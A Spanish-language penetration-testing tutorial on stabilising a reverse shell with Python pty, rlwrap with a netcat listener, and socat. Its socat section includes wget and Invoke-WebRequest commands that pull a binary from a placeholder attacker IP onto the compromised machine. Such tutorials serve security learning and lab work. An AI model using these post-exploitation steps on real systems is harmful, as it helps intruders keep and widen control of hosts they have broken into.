Nos hemos conectado a la shell, pero ¿ahora qué?
Estas shells son muy inestables: no son interactivas, tienen errores de formato, etc. Esto ocurre porque estas shells no son shells de verdad sino procesos de una terminal. Por suerte, existen varias formas de estabilizarlas.
Técnica 1: Python
La primera técnica que veremos es aplicable a entornos Linux ya que tienen instalado Python por defecto. Es un proceso de tres fases:
- Lo primero que debemos hacer es usar
python -c 'import pty;pty.spawn("/bin/bash")'. Esto hace que python cree una shell mejorada que corra bash. - Luego hacemos
export TERM=xterm. Esto nos dará acceso a comandos comoclear. - Por último (y más importante), ponemos la shell en segundo plano
Ctrl+Z. En nuestra propia terminal escribimosstty raw -echo; fg. Esto hace dos cosas:- Apaga el echo de nuestra terminal, lo que nos da acceso a autocompletado, flechas de dirección y
Ctrl+Cpara matar procesos en la reverse shell. - Poner la reverse shell en primer plano.
- Apaga el echo de nuestra terminal, lo que nos da acceso a autocompletado, flechas de dirección y
Algunos sistemas pueden requerir la versión específica, si python no funciona prueba a usar python2 o python3.

Si la shell termina, no podremos ver nada en nuestra terminal debido al comando que hemos usado. Para arreglar esto escribe reset.
Técnica 2: rlwrap
Rlwrap es un programa el cual nos da acceso al historial, autocompletado y las flechas de dirección al recibir una shell. Sin embargo, hay cierta configuración manual necesaria si quieres usar Ctrl+C dentro de la shell.
rlwrap nc -lvnp <puerto>
Cuando ya la tenemos, usamos Ctrl+Z y luego stty raw -echo;fg para terminar de estabilizarla.
Técnica 3: Socat
La tercera manera de estabilizar una shell es usar netcat como método de pivoting para obtener una consola socat, más estable. Esta técnica sólo es útil en Linux, pues en Windows una shell netcat y una socat tienen la misma manera de estabilizarse. Para conseguir este método, primero transladaríamos este archivo binario a la máquina objetivo. Una forma de hacer esto es servir un servidor en el directorio de tu máquina donde tengas el binario y acceder desde la máquina objetivo a él.
sudo python3 -m http.server 8080(en tu máquina local).wget <ip_atacante:<puerto>>/socat -O /tmp/socat(en la máquina atacada).
Para conseguir esto en Windows puedes usar Invoke-WebRequest -uri <ip_atacante:<puerto>>/socat.exe -outfile C:\\Windows\temp\socat.exe.
Cualquiera de estas tres técnicas es útil para cambiar la terminal. Pero si quieres poder abrir un editor de texto en la terminal, deberás hacer lo siguiente:
- Abre otra terminal y ejecuta
stty -a. Esto te dará dos valores: rows (filas) y columns (columnas).
- En tu reverse/bind shell ejecuta
stty rows <numero_filas>ystty cols <numero_columnas>.
